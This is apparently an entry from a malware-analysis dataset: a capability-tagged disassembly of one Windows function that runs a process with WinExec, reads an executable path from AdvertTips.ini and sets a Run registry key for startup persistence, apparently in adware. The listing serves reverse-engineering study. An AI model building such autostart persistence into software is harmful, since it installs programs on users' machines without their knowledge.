Function at 0x4050e9
Capabilities:
Create process on windows
Persist via run registry key
Print debug messages
Read .ini file
Set registry value

Disassembly:
push ebp
sub esp, 0x13c
lea ebp, [esp - 4]
mov eax, dword [0x412020]
xor eax, ebp
mov dword [ebp + 0x13c], eax
push 0x14
mov eax, 0x40d028
call fcn.0040c91b
mov eax, dword [ebp + 0x148]
push 5
push eax
mov esi, ecx
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov edi, eax
mov eax, dword [0x412274]
mov ecx, 0x412274
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
and dword [ebp - 4], 0
push edi
push str.advert
lea eax, [ebp - 0x14]
call fcn.004057de
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop ecx
pop ecx
push dword [ebp - 0x14]
call ebx
cmp edi, 0x1f
jg 0x40520c
mov ebx, dword [sym.imp.MSVCR80.dll_sprintf_s]
mov eax, edi
sub eax, 0
mov edi, 0x105
je 0x4051b2
dec eax
add esi, 0x212
dec eax
je 0x4051a8
dec eax
je 0x4051a1
sub eax, 8
je 0x405190
push 0x40ed18
push edi
push esi
call ebx
add esp, 0xc
jmp 0x4051c4
push dword [ebp - 0x1c]
push 0x40ece4
push edi
push esi
call ebx
add esp, 0x10
jmp 0x4051c4
push 0x40ed0c
jmp 0x4051bd
push dword [ebp - 0x1c]
push 0x40ecfc
jmp 0x405198
add esi, 0x212
push 0x40ecd4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push 0x40ed24
push edi
push esi
call ebx
add esp, 0x14
xor bl, bl
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.004059b4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x13c]
xor ecx, ebp
call fcn.0040bfb6
add ebp, 0x140
leave
ret 4
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
push eax
call fcn.00405442
mov byte [ebp - 4], 1
push 0x5c
push dword [ebp - 0x10]
call dword [sym.imp.MSVCR80.dll__mbsrchr]
test eax, eax
pop ecx
pop ecx
jne 0x405232
or eax, 0xffffffff
jmp 0x405235
sub eax, dword [ebp - 0x10]
mov ecx, eax
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.0040549a
mov byte [ebp - 4], 2
mov ecx, dword [eax]
mov edi, dword [ebp - 0x10]
lea eax, [ecx - 0x10]
add edi, 0xfffffff0
cmp eax, edi
je 0x405283
cmp dword [edi + 0xc], 0
jl 0x405277
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x405277
call fcn.004056f2
mov esi, eax
mov eax, edi
call fcn.004059b4
add esi, 0x10
mov dword [ebp - 0x10], esi
jmp 0x405283
push dword [ecx - 0xc]
lea eax, [ebp - 0x10]
push ecx
call fcn.00405659
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.004059b4
lea eax, [ebp - 0x10]
call fcn.004059f1
lea ecx, [ebp + 0x1c]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea eax, [ebp - 0x18]
push str.AdvertTips.ini
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.004054d6
pop ecx
pop ecx
mov byte [ebp - 4], 4
push dword [eax]
lea ecx, [ebp + 0x1c]
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.004059b4
cmp dword [ebp + 0x34], 0x10
mov eax, dword [ebp + 0x20]
jae 0x4052e4
lea eax, [ebp + 0x20]
push eax
push 0
push str.tipsType
mov edi, str.config
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
push esi
push str.advert_uAdvertType___d
lea eax, [ebp - 0x14]
call fcn.004057de
pop ecx
pop ecx
push dword [ebp - 0x14]
call ebx
cmp esi, 1
jne 0x405423
push 0x103
lea eax, [ebp + 0x39]
push 0
push eax
mov byte [ebp + 0x38], 0
call sub.MSVCR80.dll_memset
mov eax, dword [ebp + 0x20]
add esp, 0xc
cmp dword [ebp + 0x34], 0x10
jae 0x40533b
lea eax, [ebp + 0x20]
push eax
push 0x104
lea eax, [ebp + 0x38]
push eax
push 0x40e808
push str.rootexe
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 5
call fcn.004054d6
pop ecx
pop ecx
mov byte [ebp - 4], 6
push dword [eax]
lea ecx, [ebp]
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
call fcn.004059b4
sub esp, 0x1c
push 7
pop ecx
mov edi, esp
lea esi, [ebp]
push str.advert_szRootExe___s
lea eax, [ebp - 0x14]
rep movsd dword es:[edi], dword [esi]
call fcn.004057de
add esp, 0x20
push dword [ebp - 0x14]
call ebx
lea eax, [ebp - 0x18]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405416
cmp dword [ebp + 0x18], 0x10
mov eax, dword [ebp + 4]
jae 0x4053e0
lea eax, [ebp + 4]
push 0x104
push eax
push 1
push 0
push 0x40edbc
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push str.advert_jieguo___d
lea eax, [ebp - 0x14]
call fcn.004057de
pop ecx
pop ecx
push dword [ebp - 0x14]
call ebx
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp]
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], 1
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.004059b4
mov bl, 1
jmp 0x4051da